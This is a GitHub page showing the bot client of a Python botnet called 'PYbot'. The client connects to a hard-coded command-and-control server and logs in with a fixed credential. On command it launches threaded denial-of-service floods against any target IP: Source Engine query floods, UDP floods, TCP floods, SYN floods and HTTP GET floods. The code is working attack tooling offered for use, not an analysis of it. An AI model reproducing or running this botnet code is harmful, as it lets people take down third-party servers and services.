-
Notifications
You must be signed in to change notification settings - Fork 38
/
Copy pathbot.pyw
162 lines (131 loc) · 5.36 KB
/
bot.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
# PYbot - A simple Python botnet
# Author: WodX
# Date: 27/09/2019
# Bot
import socket
import threading
import time
import random
# Configuration
C2_ADDRESS = '127.0.0.1'
C2_PORT = 101
base_user_agents = [
'Mozilla/%.1f (Windows; U; Windows NT {0}; en-US; rv:%.1f.%.1f) Gecko/%d0%d Firefox/%.1f.%.1f'.format(random.uniform(5.0, 10.0)),
'Mozilla/%.1f (Windows; U; Windows NT {0}; en-US; rv:%.1f.%.1f) Gecko/%d0%d Chrome/%.1f.%.1f'.format(random.uniform(5.0, 10.0)),
'Mozilla/%.1f (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/%.1f.%.1f (KHTML, like Gecko) Version/%d.0.%d Safari/%.1f.%.1f',
'Mozilla/%.1f (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/%.1f.%.1f (KHTML, like Gecko) Version/%d.0.%d Chrome/%.1f.%.1f',
'Mozilla/%.1f (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/%.1f.%.1f (KHTML, like Gecko) Version/%d.0.%d Firefox/%.1f.%.1f',
]
def rand_ua():
return random.choice(base_user_agents) % (random.random() + 5, random.random() + random.randint(1, 8), random.random(), random.randint(2000, 2100), random.randint(92215, 99999), (random.random() + random.randint(3, 9)), random.random())
def attack_vse(ip, port, secs):
payload = b'\xff\xff\xff\xffTSource Engine Query\x00' # read more at https://developer.valvesoftware.com/wiki/Server_queries
while time.time() < secs:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(payload, (ip, port))
def attack_udp(ip, port, secs, size):
while time.time() < secs:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
dport = random.randint(1, 65535) if port == 0 else port
data = random._urandom(size)
s.sendto(data, (ip, dport))
def attack_tcp(ip, port, secs, size):
while time.time() < secs:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
while time.time() < secs:
s.send(random._urandom(size))
except:
pass
def attack_syn(ip, port, secs):
while time.time() < secs:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setblocking(0)
try:
dport = random.randint(1, 65535) if port == 0 else port
s.connect((ip, dport)) # RST/ACK or SYN/ACK as response
except:
pass
def attack_http(ip, secs):
while time.time() < secs:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, 5050))
while time.time() < secs:
s.send(f'GET / HTTP/1.1\r\nHost: {ip}\r\nUser-Agent: {rand_ua()}\r\nConnection: keep-alive\r\n\r\n'.encode())
except:
s.close()
def main():
c2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c2.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
while 1:
try:
c2.connect((C2_ADDRESS, C2_PORT))
while 1:
data = c2.recv(1024).decode()
if 'Username' in data:
c2.send('BOT'.encode())
break
while 1:
data = c2.recv(1024).decode()
if 'Password' in data:
c2.send('\xff\xff\xff\xff\75'.encode('cp1252'))
break
break
except:
time.sleep(120) # retry in 2 mins if connection fails
while 1:
try:
data = c2.recv(1024).decode().strip()
if not data:
break
args = data.split(' ')
command = args[0].upper()
if command == '.VSE':
ip = args[1]
port = int(args[2])
secs = time.time() + int(args[3])
threads = int(args[4])
for _ in range(threads):
threading.Thread(target=attack_vse, args=(ip, port, secs), daemon=True).start()
elif command == '.UDP':
ip = args[1]
port = int(args[2])
secs = time.time() + int(args[3])
size = int(args[4])
threads = int(args[5])
for _ in range(threads):
threading.Thread(target=attack_udp, args=(ip, port, secs, size), daemon=True).start()
elif command == '.TCP':
ip = args[1]
port = int(args[2])
secs = time.time() + int(args[3])
size = int(args[4])
threads = int(args[5])
for _ in range(threads):
threading.Thread(target=attack_tcp, args=(ip, port, secs, size), daemon=True).start()
elif command == '.SYN':
ip = args[1]
port = int(args[2])
secs = time.time() + int(args[3])
threads = int(args[4])
for _ in range(threads):
threading.Thread(target=attack_syn, args=(ip, port, secs), daemon=True).start()
elif command == '.HTTP':
ip = args[1]
secs = time.time() + int(args[2])
threads = int(args[3])
for _ in range(threads):
threading.Thread(target=attack_http, args=(ip, secs), daemon=True).start()
elif command == 'PING':
c2.send('PONG'.encode())
except:
break
c2.close()
main()
if __name__ == '__main__':
try:
main()
except:
pass